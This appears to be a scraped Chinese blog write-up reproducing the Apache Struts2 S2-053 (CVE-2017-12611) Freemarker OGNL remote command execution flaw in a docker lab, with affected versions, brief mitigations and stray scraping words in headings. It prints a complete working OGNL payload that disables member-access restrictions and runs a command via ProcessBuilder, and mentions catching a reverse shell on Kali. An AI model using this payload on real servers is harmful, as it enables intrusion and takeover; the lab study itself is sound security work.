Apache struts2 Freemarker標籤遠程命令執行_CVE-2017-12611(S2-053)漏洞復現

Apache struts2 Freemarker標籤遠程命令執行_CVE-2017-12611(S2-053)漏洞復現java

1、漏洞描述docker

Struts2在使用Freemarker模塊引擎的時候,同時容許解析OGNL表達式。致使用戶輸入的數據自己不會被OGNL解析,可是因爲被Freemarker解析一次後變成離開一個表達式,被OGNL解析第二次,致使任意命令執行漏洞。shell

2、漏洞影響版本apache

Struts 2.0.1-struts 2.3.33瀏覽器

Struts 2.5-Struts 2.5.10bash

3、漏洞環境搭建ui

1.使用docker搭建環境spa

4、漏洞復現3d

一、啓動環境code

  

二、瀏覽器訪問

  

POC以下:

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
注: 執行命令的地方在於(#cmd=’id’)

三、查看用戶所屬組

  

四、反彈shell,把shell反彈到kali上

  

五、在kali 端開啓監聽,能夠看到成功得到目標反彈過來的shell

  

5、漏洞防護

一、 Apache Struts版本最新版本

二、 Freemarker標籤不要經過Request方式獲取

相關文章
相關標籤/搜索